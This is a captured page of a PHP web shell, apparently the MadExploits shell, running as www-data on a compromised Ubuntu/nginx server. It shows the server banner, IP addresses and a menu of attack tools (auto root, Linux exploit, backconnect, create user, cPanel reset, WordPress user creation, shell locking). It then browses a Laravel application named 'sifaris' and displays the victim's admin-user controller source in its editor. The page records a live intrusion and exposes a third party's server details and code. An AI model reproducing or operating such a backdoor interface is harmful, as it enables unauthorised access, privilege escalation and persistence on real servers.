Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Http /
Controllers /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
Spatie
[ DIR ]
drwxrwxr-x
AccessController.php
2.48
KB
-rw-rw-r--
AddressController.php
3.29
KB
-rw-rw-r--
AdminUserController.php
8.74
KB
-rw-rw-r--
AppUserController.php
8.02
KB
-rw-rw-r--
CategoryController.php
3.02
KB
-rw-rw-r--
DashboardController.php
8.02
KB
-rw-rw-r--
FiscalController.php
1.28
KB
-rw-rw-r--
GeneralController.php
682
B
-rw-rw-r--
LoginController.php
2.28
KB
-rw-rw-r--
OfficeController.php
1.35
KB
-rw-rw-r--
PriorityController.php
2.15
KB
-rw-rw-r--
ReportController.php
21.01
KB
-rw-rw-r--
SifarisFormController.php
1.43
KB
-rw-rw-r--
SifarisRecordController.php
26.6
KB
-rw-rw-r--
StatusController.php
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminUserController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Http\Requests\AdminUserRequest; use App\Models\AdminUser; use App\Services\AdminUserService; use Helper; use Illuminate\Contracts\View\View; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Validator; use Throwable; class AdminUserController extends Controller { private $helper; private $service; public function __construct(Helper $helper, AdminUserService $service) { $this->helper = $helper; $this->service = $service; } /** * This method is used to get the list of undeleted users(both active and deactive) * * @param array $array - no paramenter * @param string $blah - none * @return view(users::users..users) */ public function getIndex(Request $request): View { if(!can('View Users')) abort(404); $only = ['sort_by', 'page_size', 'sort_order', 'title', 'language_id', 'role_id']; $filter = $this->helper->getFilter($request, $only); $data = $this->service->list($filter); // dd($data); return view('admin.admin_users.list', $data); } /** * This method is used to get the view part of the add user * * @param array $array - no paramenter * @param string * @return view(users::users..adduser) */ public function getAddUser() { if(!can('Add/Edit User')) abort(404); $categories = categories(['designations']); return view('admin.admin_users.adduser',compact('categories')); } /** * This method is used add the user * * @param array $array - no paramenter * @param string - none * @return json_message_string_array */ public function addUser(AdminUserRequest $request) { if(!can('Add/Edit User')) abort(404); try { if (!isSuperAdmin() && checkSuperAdmin($request->role)) { flash([ 'type' => 'error', 'message' => 'User could not be added', ]); return Redirect::route('admin.admin_users.list'); } $user_data = $request->only(['name', 'email', 'password', 'is_active','office_id','designation_id']); if ($request->has('is_active')) $user_data['is_active'] = 1; else $user_data['is_active'] = 0; $user_data['password'] = Hash::make($user_data['password']); $user = $this->service->save($user_data); $user->assignRole($request->role); flash([ 'type' => 'success', 'message' => 'Admin user created successfully', ]); return Redirect::route('admin.admin_users.list'); } catch (\Throwable $th) { flash([ 'type' => 'error', 'message' => $th->getMessage(), ]); return Redirect::back()->withInput(); } } /** * This method is used to edit a user * * @param AdminUser - $user * @return Illuminate\View\View */ public function getEditUser(AdminUser $user): View { if(!can('Add/Edit User')) abort(404); $categories = categories(['designations']); return view('admin.admin_users.edituser') ->with('model', $user) ->with('categories', $categories); } /** * This method is used edit the user * * @param int $id * @return json_message_string_array */ public function updateUser(AdminUser $user, AdminUserRequest $request) { if(!can('Add/Edit User')) abort(404); if (!isSuperAdmin() && checkSuperAdmin($request->role)) { flash([ 'type' => 'error', 'message' => 'User could not be updated', ]); return Redirect::route('admin.admin_users.list'); } try { $user_data = $request->only(['name', 'email', 'is_active','office_id','designation_id']); if ($request->has('is_active')) $user_data['is_active'] = 1; else $user_data['is_active'] = 0; $this->service->update_WM($user_data, ['id' => $user->id], AdminUser::class); $user->assignRole($request->role); flash([ 'type' => 'success', 'message' => 'Admin user updated successfully', ]); return Redirect::route('admin.admin_users.list');; } catch (\Throwable $th) { flash([ 'type' => 'error', 'message' => $th->getMessage(), ]); return Redirect::back()->withInput(); } } /* * delete action admin panel * @return JSON */ public function deleteUser(Request $request) { if(!can('Delete User')) abort(404); // dd($request->all()); try { $id = $request->id; $user = AdminUser::find($id); if (!isSuperAdmin() && $user->hasRole('Super Admin')) { return failureResponse('User could not be deleted'); } $this->service->delete(['id' => $request->id]); return successResponse('User deleted successfully'); } catch (\Illuminate\Database\QueryException $e) { if ($e->getCode() == 23000) { //SQLSTATE[23000]: Integrity constraint violation return failureResponse('This user cannot be deleted as it has been referenced by other records. You may consider disabling this user instead of deleting.'); } } catch (Throwable $e) { return failureResponse($e->getMessage()); } } /* * project stauts change action admin panel * @return JSON */ public function changeStatus(Request $request) { if(!can('Activate/Deactivate User')) abort(404); $id = $request->id; $user = AdminUser::find($id); if (!isSuperAdmin() && $user->hasRole('Super Admin')) { return failureResponse('Status could not be updated.'); } return changeStatusNormal(AdminUser::class, $request->id, 'Admin user'); } public function getChangePassword() { return view('admin.change_password') ->with('model', admin()); } /** * This method is used get the change passowrd of the logged in user * * @param int $id * @return Redirect */ public function changeOwnPassword(Request $request) { $rules = [ 'new_password' => 'required', 'confirm_password' => 'required|same:new_password' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) return Redirect::back()->withErrors($validator); $user = admin(); $user->password = Hash::make($request->get('new_password')); // $user->password_changed_on = now(); $user->save(); flash([ 'type' => 'success', 'message' => 'Password has been changed successfully.', ]); return Redirect::route('admin.my_profile'); } /** * This method is used get the get change passowrd form of others by admin * * @param int $userid * @return View chagne passwor form */ public function getChangePasswordByAdmin($userid) { if(!can('Change User Password')) abort(404); $user = AdminUser::findOrFail($userid); if (!isSuperAdmin() && $user->hasRole('Super Admin')) { abort(404); } return view('admin.admin_users.change_password_by_admin') ->with('model', $user); } /** * This method is used get the change passowrd of the user - change pwd by admin * * @param int $id * @return Redirect */ public function changePassword($id, Request $request) { if(!can('Change User Password')) abort(404); $rules = [ 'password' => 'required|min:8', 'confirm_password' => 'required|same:password' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) return Redirect::back()->withErrors($validator); $user = AdminUser::find($id); if (!isSuperAdmin() && $user->hasRole('Super Admin')) { abort(404); } $user->password = Hash::make($request->get('password')); // $user->password_changed_on = now(); $user->save(); flash([ 'type' => 'success', 'message' => 'Password has been changed successfully.', ]); return Redirect::route('admin.admin_users.list'); } }
Close